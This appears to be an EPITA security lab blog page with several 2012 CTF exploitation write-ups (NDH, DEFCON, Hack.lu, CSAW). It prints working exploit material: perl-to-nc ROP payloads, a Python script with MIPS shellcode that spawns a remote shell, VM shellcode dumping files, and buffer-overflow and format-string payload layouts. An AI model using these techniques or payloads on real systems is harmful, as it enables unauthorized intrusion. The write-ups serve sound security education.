LSE Blog

Operating systems, computer security, languages theory, and even more!

  • About us

    • Main website
    • Git repositories
    • @lse_epita

    RSS Feed

  • Categories
    • Events
    • Hardware
    • Language
    • Reverse Engineering
    • Security
    • System
      • Linux
    • Tutorials
      • Parallelism
      • PythonGDB
    • Writeups
      • CSAW CTF 2012 Quals
      • DEFCON 2013 Quals
      • DEFCON2K12 Prequals
      • Hack.lu CTF 2012
      • Hack.lu CTF 2013
      • NDH2K12 Prequals
      • NDH2K13 Quals
      • Olympic-CTF 2014
      • PlaidCTF 2012
      • SecuInside2K12 Prequals
      • ebCTF 2013
  • Authors
    • ✉ Samuel Angebault
    • ✉ Remi Audebert
    • ✉ Jean-Loup Bogalho
    • ✉ Pierre Bourdon
    • ✉ Marwan Burelle
    • ✉ Samuel Chevet
    • ✉ Pierre-Marie de Rodat
    • ✉ Ivan Delalande
    • ✉ Corentin Derbois
    • ✉ Nassim Eddequiouaq
    • ✉ Louis Feuvrier
    • ✉ Fabien Goncalves
    • ✉ Nicolas Hureau
    • ✉ Gabriel Laskar
    • ✉ Stanislas Lejay
    • ✉ Franck Michea
    • ✉ Bruno Pujos
    • ✉ Clement Rouault
    • ✉ Pierre Surply
    • ✉ Kevin Tavukciyan
    • More »
  • NDH2K12 Prequals: web3.ndh writeup (port 4005)

    Written by Franck Michea and Samuel Chevet
    2012-03-25 00:41:00

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    From: Piotr <piotr@megacortek.com>
    To: LSE <lse@megacortek.com>
    Subject: Another weird link
    Attachments : web3.ndh
    
    Thank you again for these informations! we have just credited your account
    with $1700. Our spy thinks that Sciteek staff is aware about the mole
    inside their building. He is trying to read a private file named
    "sciteek-private.txt" located at sciteek.nuitduhack.com:4005. Please find
    the .ndh attached, if you are sucessfull, reply with a message entitled
    "complex remote service".
    
    Of course, your efforts will be rewarded with $2500. Maybe you will find
    pieces of informations about the mole.
    
    Piotr
    

    As before, we can easily execute this .ndh file in the VM we have to understand the behavior of the program, but this time we also had an IDA plugin to help us.

    Program will reserve 0x200 bytes for the receveid buffer, and setup a canary on the stack at offset 0x200 avoiding stack based buffer overflow. But the canary is always the same value 0xbeef, this protection will be easy to bypass.

    An another protection has been setup on this challenge, NX byte, instead of service 4004, we won't be able to execute code from our buffer. We will use ROP technics, to bypass it.

    We figured out an excellent sub function (like in service 4000) "disp_file_content".

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    ROM:8201 disp_file_content:
    ROM:8201                 PUSH           R1
    ROM:8204                 PUSH           R2
    ROM:8207                 PUSH           R3
    ROM:820A                 PUSH           R4
    ROM:820D                 PUSH           R5
    ROM:8210                 MOVL           R1, 0
    ROM:8215                 CALL           SYSCALL_OPEN
    ROM:8219                 CMPL           R0, $FFFF
    ROM:821E                 JNZ            file_valid
    ROM:8221                 XOR            R0, R0
    ROM:8225                 POP            R5
    ROM:8227                 POP            R4
    ROM:8229                 POP            R3
    ROM:822B                 POP            R2
    ROM:822D                 POP            R1
    ROM:822F                 RET
    ROM:8230 ; ---------------------------------------------------------------------------
    ROM:8230
    ROM:8230 file_valid:                             ; CODE XREF: disp_file_content+1D
    ROM:8230                 MOV            R3, R0
    ROM:8234                 MOVL           R1, 0
    ROM:8239                 MOVL           R2, $2
    ROM:823E                 CALL           SYSCALL_FSEEK
    ROM:8242                 MOV            R4, R0
    ROM:8246                 INC            R4
    ROM:8248                 MOV            R0, R3
    ROM:824C                 MOVL           R1, 0
    ROM:8251                 MOVL           R2, 0
    ROM:8256                 CALL           SYSCALL_FSEEK
    ROM:825A                 SUB            SP, R4
    ROM:825E                 MOV            R5, SP
    ROM:8262                 MOV            R0, R3
    ROM:8266                 MOV            R1, SP
    ROM:826A                 MOV            R2, R4
    ROM:826E                 CALL           SYSCALL_READ
    ROM:8272                 ADD            R4, R5
    ROM:8276                 DEC            R4
    ROM:8278                 MOVBT          R4, 0
    ROM:827C                 MOV            R0, R5
    ROM:8280                 CALL           write_socket
    ROM:8284                 MOVB           R0, 1
    ROM:8288                 INC            R4
    ROM:828A                 SUB            R4, R5
    ROM:828E                 ADD            SP, R4
    ROM:8292                 POP            R5
    ROM:8294                 POP            R4
    ROM:8296                 POP            R3
    ROM:8298                 POP            R2
    ROM:829A                 POP            R1
    ROM:829C                 RET
    ROM:829C ; End of function disp_file_content
    

    Before calling this function we have to set R0 correctly to the file required file name ("sciteek-private.txt").

    We will use these simple gadgets to change the value of R0 and quit program correctly:

    1
    2
    3
    4
    5
    6
    ROM:80BD                 POP            R0
    ROM:80BF                 RET
    
    [...]
    
    ROM:838C                 END
    

    Scheme of exploitation looks like:

    1
    [file_name] [NULL_PADDING] [POP_R0;RET] [ADDR_BUFF] [disp_file_content] [END]
    

    Here is the final exploit :

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    perl -e 'print "sciteek-private.txt" . "\x00"x493 . "\xef\xbe" . "\xbd\x80" . "\xf4\x7b" . "\x01\x82" . "\x8c\x83"' | nc sciteek.nuitduhack.com 4005
    
    Dear Patrick,
    
    We found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.
    
    However, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business
    , but one of them contains an archive with an explicit name.
    
    We cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.
    
    Sincerely,
    
    David Markham.
    

    Tweet
    Permalink & comments
  • DEFCON2K12 Prequals: pwn100 writeup

    Written by Samuel Chevet
    2012-06-04 03:22:00

    Unlike most binary exploitation challenges, we had to work on an unusual processor architecture:

    1
    2
    > file pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a
    pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.4.18, stripped
    

    Debian provides virtual machine images of their distribution for MIPS-I CPUs, which we were able to use with qemu in order to run the binary. It serves a simple shell with the following commands available:

    1
    2
    3
    4
    5
    6
    qotd
    ls
    png2ascii
    help
    exit
    quit
    

    When we used the ls command we could see the key file. The goal of this challenge was obviously to get it back. But the vulnerability was in another command: png2ascii (sub_00401BC4). This functions reserves a buffer of size 0x100 on the stack but reads 0x200 from it, stopping at the first '\n' byte encountered. We can use this to overwrite the return address stored on the stack and control the execution flow.

    1
    2
    3
    4
    .text:00400918                 lw      $ra, 0x2C($sp)
    .text:0040091C                 lw      $fp, 0x28($sp)
    .text:00400920                 jr      $ra
    .text:00400924                 addiu   $sp, 0x30
    

    The problem we encountered next was bypassing ASLR, which made the address of our stack buffer random. We tried to find gadgets in the binary in order to return to our buffer address but no register pointed to our buffer and no pointer to the buffer was present at a useful location in the stack. Luckily, the server uses fork() to serve each connection, which means each connection will use the same base stack address. We don't know where our buffer is but if we can find it once we know it will always be there until a server reboot.

    We decided to leak informations about our memory map by using a write syscall present in the binary and returning to it. It loads arguments from the stack so we can control these as well, and the file descriptor we need to write the data on is already loaded with the right value.

    1
    2
    3
    4
    5
    .text:00411498                 lw      $a1, 0x30+var_2C($sp)
    .text:0041149C                 lw      $a2, 0x30+var_28($sp)
    .text:004114A0                 lw      $a3, 0x30+var_24($sp)
    .text:004114A4                 li      $v0, 0x1052
    .text:004114A8                 syscall 0
    

    Using a crafted stack we were able to bruteforce the pointer passed to the write syscall and test whether data is written or not. If some data is written we know that we are in a valid memory range.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    > for i in $(seq 0 255); do echo "- - - - - -"; printf "%02x\n" $i; python2 pwn100.py 40$(printf "%02x" $i)0000 1000 | hexdump -C; done | tee out
    ...
    000004e0  0a 4f 52 20 41 20 4d 4f  55 54 48 2e 20 42 45 20  |.OR A MOUTH. BE |
    000004f0  47 4f 4f 44 20 41 54 20  53 43 48 4f 4f 4c 20 54  |GOOD AT SCHOOL T|
    00000500  4f 44 41 59 2e 20 4c 4f  56 45 2c 20 4d 4f 4d 2e  |ODAY. LOVE, MOM.|
    00000510  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |                |
    00000520  20 0a 0a 41 41 41 41 41  41 41 41 41 41 41 41 41  | ..AAAAAAAAAAAAA|
    00000530  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    *
    000005b0  41 41 41 51 51 51 51 98  14 41 00 04 00 00 00 f0  |AAAQQQQ..A......|
    000005c0  c6 8c 7f 00 10 00 00 00  00 00 00 70 0a 01 10 ff  |...........p....|
    000005d0  ff ff ff d0 c7 8c 7f f8  17 99 00 09 00 00 00 ff  |................|
    000005e0  ff ff ff b8 c7 8c 7f cc  12 40 00 04 00 00 00 d0  |.........@......|
    000005f0  c7 8c 7f 00 01 00 00 0a  00 00 00 70 0a 01 10 ff  |...........p....|
    00000600  ff ff ff 70 6e 67 32 61  73 63 69 69 00 ff ff ff  |...png2ascii....|
    00000610  ff ff ff 00 00 00 00 00  00 00 00 ff ff ff ff ff  |................|
    ...
    

    Using this trick we were able to find our buffer filled with "A" characters, so we knew exactly where to jump to. We just needed a valid MIPS shellcode to execute a shell on the remote server. Using this website we were able to do this very quickly. After testing it on the remote server we noticed that simply running dup2 and execve was not enough because the server had a hard file descriptor limit. We bypassed it by using setrlimit before execve, giving us this final exploit script:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    import socket
    import struct
    import sys
    
    shellcode = \
            "\xeb\x0f\x02\x24\x05\x00\x04\x24\xc0\xff\xa5\x27" + \
            "\x64\x00\x0f\x24\xc0\xff\xaf\xaf\xc4\xff\xaf\xaf" + \
            "\x0c\x01\x01\x01\x04\x00\x04\x24\x02\x00\x05\x24" + \
            "\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\xa5\x20" + \
            "\xff\xff\x0f\x24\xfb\xff\xaf\x14\x00\x00\x00\x00" + \
            "\x69\x6e\x0f\x3c\x2f\x62\xef\x35\xf4\xff\xaf\xaf" + \
            "\x68\x00\x0e\x3c\x2f\x73\xce\x35\xf8\xff\xae\xaf" + \
            "\xfc\xff\xa0\xaf\xf4\xff\xa4\x27\xfc\xff\xa5\x27" + \
            "\xfc\xff\xa6\x27\xab\x0f\x02\x24\x0c\x01\x01\x01" + \
            "\x00\x00\x00\x00"
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #s.connect(("140.197.217.85", 1994))    # remote server
    s.connect(("192.168.103.61", 1994))     # local test
    
    print s.recv(1024)
    print s.recv(1024)
    
    cmd = "png2ascii\n"
    
    s.send(cmd)
    
    print s.recv(1024)
    
    raw_input() # usefull for attach gdb
    
    stack = int(sys.argv[1], 16)
    size = int(sys.argv[2], 16)
    
    # EIP control
    payload = shellcode + "A" * (256 - len(shellcode))
    
    #payload += "Q" * 4 + struct.pack("<I", 0x411498) # Addr write syscall
    
    #payload += "Q" * 4 + struct.pack("<I", 0x7f8cc680) # Addr Buffer local
    
    payload += "Q" * 4 + struct.pack("<I", 0x407ffe80) # Addr Buffer remote
    
    payload += "\x04\x00\x00\x00" # Socket fd
    # Parameters for sycall write
    payload += struct.pack("<I", stack)
    payload += struct.pack("<I", size)
    payload += struct.pack("<I", 0)
    
    s.send(payload + "\n")
    sys.stdout.write(s.recv(65536))
    sys.stdout.write(s.recv(65536))
    

    We read the key file using the remote shell and were able to validate the challenge. This was a fun challenge, it's not common to exploit non-x86 architectures.

    Tweet
    Permalink & comments
  • Hack.lu CTF 2012: Braingathering (500 points)

    Written by Samuel Chevet
    2012-10-27 13:00:00

    1
    2
    3
    4
    5
    6
    7
    8
    9
    We fought our way to the main server room. The zombies realized that they
    run out of humans sooner or later, so they started to build machines to
    create humans for them to eat. Those machines have a special code which is
    only known to the zombies. This code is capable of destroying all
    breeding-machines. Now, it's all up to you to get this code and tell us so
    that we can destroy all machines.
    SSH: ctf.fluxfingers.net PORT: 2097 USER: ctf PASS: opPsyuXs7aaxtop
    
    credits: 500 +3 (1st), +2 (2nd), +1 (3rd)
    

    Braingathering is an elf32 binary which asks for 3 choices:

    • 1) Need Brainz brainz brainz, Zombie huuuungry!
    • 2) How much longer till braaaiiiiinz?
    • 3) Nooo more brainz! STOP THE BRAINZ!

    The two first are not interesting, but the third asks us for a password and compares it with the content of the "killcode". If the password entered by the user is right, it prints us:

    1
    YEAH, now go and submit the killcode so that we can stop other systems as well
    

    So we need to leak this password or to get a shell to print the content of the file "killcode".

    Entry point of the binary is inside .plt section and has type NOBITS, if we try to open it in IDA, it will not show use the disassembly, so we must change section's type to PROGBITS and we can see a simple deciphering loop.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    loc_8048BC1:                            ; CODE XREF: start+1Aj
                    mov     eax, offset loc_8048500
                    mov     ecx, 6A1h
    
    loc_8048BCD:                            ; CODE XREF: start-Aj
                    xor     byte ptr [eax], 8Ch
                    inc     eax
                    dec     ecx
                    cmp     ecx, 0
                    jg      short loc_8048BCD
    

    The binary xors bytes from 0x8048500 to 0x8048ba1 with 0x8C, and jumps to 0x8048500, the real entry point. Fix is simple: write a simple C program to do the task for us. Now we can open it with IDA, and we can see a switch case with 246 entries, it's definitively a VM.

    It's friday night, and I was bored, so I decided to write an IDA processor for this vm:

    Now we just have to dump the vm from offset 0x2060 to 0x2847, and use this processor: "brain VM CPU: brain".

    The first thing the vm does is decyphering his code with xor 0x7A7A from offset 0x50 to 0x1050. Again the solution is to write a simple C program to do the task for us.

    Ok now we have the full code of the VM!

    The only interesting sub is at offset 0x014E, we can call ask-for-password, it is the sub for the third choice.

    The problem in this function is that a stack based buffer overflow can occur. It reserves 0x34 (52) bytes on the stack for the buffer, but reads on STDIN 0x36 (54), so we can overwrite the return address of this sub inside the VM.

    1
    2
    3
    0x187       MOV            R4, $8000
    0x18A       MOV            R1, $10
    0x18D       CALL           memcpy
    

    The password will be copied to address 0x8000, and our buffer to 0x7000, to compare them in sub-function sub_00FC.

    The opcode 0x3F is able to write a buffer to a file descriptor.

    1
    0x3F opcode, write(*PC, R4, strlen(R4));
    

    So the idea is to put in R4 the adress of the password and execute this opcode. The opcode 0x49 is perfect for this task :

    1
    0x49 mov r4, [PC]
    

    So the payload looks like this:

    1
    2
    3
    4
    5
    6
    7
    8
    0x49 0x00 0x80  ;  mov r4, 0x8000
    0x40 0x01       ;  write(STDOUT_FILENO, r4, strlen(R4));
    0x53 0x0D 0x70  ;  Adresse return for sub_print_newline (buffer + 0xD) for
    ending correctly exploit
    0x53 0x03 0x01  ;  push 0x013E (@ of sub_print_newline)
    0x58            ;  ret
    "0xFF"*43       ;  END VM
    0x00 0x70       ;  New Address to return (@buffer)
    

    Result:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    ctf@braingathering:~$ perl -e'print "3"x34 . "\x49\x00\x80" . "\x40\x01" . "\x53\x0d\x70" . "\x53\x3e\x01" . "\x58" . "\xFF"x40 . "\x00\x70"' > /tmp/payload
    ctf@braingathering:~$ /home/ctf/braingathering < /tmp/payload
    ==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
    Automated system for braingathering ready.
    
    1) Need Brainz brainz brainz, Zombie huuuungry!
    2) How much longer till braaaiiiiinz?
    3) Nooo more brainz! STOP THE BRAINZ!
    
    X) Nah, I'm going to get my brains somewhere else.
    
    ### Warning: Only for authorized zombies ###
    Please enter teh z0mb13 k1llc0d3:
    Comparing k1llc0d3
    INVALID
    
    
    
    OMG_VMAP0CALYPS3
    

    Tweet
    Permalink & comments
  • NDH2K12 Prequals: exploit-me2 writeup (port 4004)

    Written by Samuel Chevet
    2012-03-25 00:41:00

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    hi,
    
    i was discretely wandering around as usual yesterday. a couple of system
    developpers were shouting about corporate devices quality decreasing every year
    when they finally agreed about using local network to transfer some pictures.
    from the dead usb key i managed to recover from the trashcan and to clean, i
    finally extracted a couple of megabytes of unaltered data. worthless corporate
    mails, personal pictures i decided to keep for my private use and few
    interesting files, especially some asm source code that you might find
    valuable.
    
    i attached one of them, please contact me if you would like any further
    investigation about those pieces of code.
    
    ; test program #1 - build #35 for scipad
    ; http://sciteek.nuitduhack.com
    
    ; some includes
    #include inc/stdlib.inc
    
    ; this routine asks for a password and put the address in r5 and the size in r0
    
    .label ask_password
    ; display a prompt
    movl r0, :pwd_msg
    call :print
    
    ; allocate some space on stack
    subb sp, #8
    mov r5, sp
    movl r0, stdin
    mov r1, r5
    movb r2, #10
    
    ; read the password from stdin
    call :read
    
    ; restore the stack pointer
    addb sp, #8
    
    ; return
    ret
    
    
    ; our main
    ;
    ; basically, this program does nothing useful ... it is just a sample ;)
    
    .label main
    ; display a welcome message
    movl r0, :welcome
    call :print
    
    ; ask for a password
    call :ask_password
    
    ; displays an error
    movl r0, :error
    call :print
    
    ; quit
    end
    
    ; temp routine (not used anymore)
    
    .label temp_routine
    movl r0, :flag_file
    call :disp_file_content
    end
    
    .label welcome
    .db "welcome on sciteek' scipad secure shell !",0x0a,0
    
    .label pwd_msg
    .db "please enter your passphrase: ",0
    
    .label error
    .db "nope. it is not the good password",0x0a,0
    
    .label hint
    .db "sciteek.nuitduhack.com:4000",0
    
    .label flag_file
    

    This service vulnerability is a simple stack based buffer overflow. We are able to overwrite return address of ask_password function, but service running on remote server wasn't compiled from these exact sources, because received data size equals to 0x64.

    There is no ASLR, or NX on, so we can execute whatever we want from this buffer.

    We wrote a simple shellcode to read /proc/self files :

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    MOVB    R0, #0x2
    MOVL    R1, :filename
    MOVB    R2, #0x0
    SYSCALL         ; open(filename, O_RDONLY)
    MOV     R7, R0
    
    .label :loop
    MOVB    R0, #0x03
    MOV     R1, R7
    MOV     R2, SP
    MOVB    R3, #0x01
    SYSCALL         ; read(fd, sp, 1)
    TEST    R0, R0
    JNZ     :read_ok
    END
    
    .label :read_ok
    MOVB    R0, #0x04
    MOVB    R1, #0x01
    MOV     R2, SP
    MOVB    R3, #0x01
    SYSCALL         ; write(stdout, sp, 1)
    JMPS    :loop
    
    .label :filename
    .ascii "/proc/self/cmdline"
    

    Scheme of exploitation is very simple :

    1
    [SHELLCODE] [NULL_PADDING] [BUFFER_ADDR]
    

    And here is the exploit:

    1
    2
    > nc sciteek.nuitduhack.com 4004 < shellcode_proc
    Password (required): /usr/local/challenge/vmndh/vmndh4-file/usr/local/challenge/vmndh/exploitmes/exploitme2.ndh
    

    We can see that vm binary is located into /usr/local/challenge/vmndh/exploitmes/ and sercices run into /usr/local/challenge/vmndh/vmndh4, so by replacing /proc/self/cmdline by "../exploitmes/exploitme2.ndh", we are able to dump it.

    1
    2
    3
    4
    5
    6
    7
    8
    > nc sciteek.nuitduhack.com 4004 < shellcode_dump > bin_4004_dump
    > strings bin_4004_dump
    Password (required): .NDH
    Password (required):
    sciteek.nuitduhack.com:4004
    Bad password.
    You are now authenticated
    ZomfgSciPadWillR0xxD4Fuck1nw0RLd!!!
    

    Password was : ZomfgSciPadWillR0xxD4Fuck1nw0RLd!!!

    Tweet
    Permalink & comments
  • CSAW CTF 2012: exploitation 200/300/400/500 writeups

    Written by Samuel Chevet
    2012-10-01 00:00:00

    This article regroups writeups for all exploitation challenges which did not deserve a full article.

    Exploitation 200

    This challenge is a linux elf32 wich listen on port 54321.

    Each time a new client connect, it sends a message of welcome, and wait for receiving 512 bytes of data, those data are compared to the string : "A" * 26 + "\n", if it match the challenge will open the file "key" and send it to us.

    The key is : "b3ee1f0fff06f0945d7bb018a8e85127"

    Exploitation 300

    This challenge is a linux elf32 which listen on port 4842. The binary will setup handler on differents signals, the most interesting one, is SIGSYS(0x1F), after a client connect and send a message of welcome, it will raise this signal, the handler will send an another message, and read 2048 bytes of data into a buffer of 326 bytes on the stack. It's clearly a simple stack based buffer overflow. And a fun thing is :

    1
    2
    > readelf -l ./bin | grep STACK
        GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
    

    The stack is executable, so let's search some fun gadgets like jmp esp :

    1
    2
    > rasm2 "jmp esp"
    ffe4
    

    This gadget can be found inside section .eh_frame_hdr (0x08048F47). So the payload is really simple and look like this :

    1
    "A" * 326 + Addr_return (JMP ESP) + Shellcode (dup2 + excve(/bin/sh))
    

    They changed the binary before we wrote this writeup, so our exploit does not work anymore and we don't remember the key.

    Exploitation 400

    This challenge is a linux elf32 wich listen on port 23456.

    The vulnerability is inside function sdoomsday() (There is symbol inside the binary ...), it receive 511 bytes into .bss section and use this buffer for sprintf without format for filling a buffer on the stack. It's a simply format string vulnerability.

    A nice thing is that .bss section is executable, so the payload will be :

    1
    | JMP AFTER FORMAT | FORMAT | NOP | SHELLCODE
    

    What we will have to do is replacing address of a function inside got section called just after sprintf (for exemple send wich is called inside cd() function). An another fun trick is inside ssc function, it check if inside the buffer there is the pattern :

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    /bin/sh
    /usr/bin/es
    /usr/bin/ksh
    /bin/ksh
    /usr/bin/rc
    /usr/bin/esh
    /bin/dash
    /bin/bash
    /bin/rbash
    h//shh/bin
    

    Just xor your shellcode and add a stub at the beginning for dexoring it.

    The key is : "What_a_simple_filter_that_was"

    Exploitation 500

    This is the last exploitation challenge, it is as usual a linux elf32 wich listen on port 12345.

    The first thing the program do is receiving 124 bytes, and check if in this buffer there is the pattern :

    1
    2
    3
    4
    5
    6
    CPE1704TKS
    IMSAI 8080 microcomputer
    WORP
    Galaga
    Pencil
    Tic-Tac-Toe
    

    And then receive 1024 bytes, but the return value of recv() will be the size of a memcpy() into a buffer too small, so it is a simply stack based buffer overflows. We can overwrite easily the return address by the adress of receive and forge the stack like :

    1
    2
    3
    4
    5
    6
        +0xBC : New Return Address  : 0x08048760 # .plt recv()
        +0xC0 : Return Address recv : 0x0804B000 # .bss section
        +0xC4 : File Descriptor     : 0x4        # socket client
        +0xC8 : Buffer              : 0x0804B000 # .bss section
        +0xCC : Size                : 0x54       # Size Shellcode
        +0xD0 Flags                 : 0x0        # who care ?
    

    We send the same shellcode as usual dup2 + execve(/bin/sh), and enjoy our shell.

    The key is "Something_different_from_strcpy"

    Tweet
    Permalink & comments
    • More »

© LSE 2012 — Main website — RSS Feed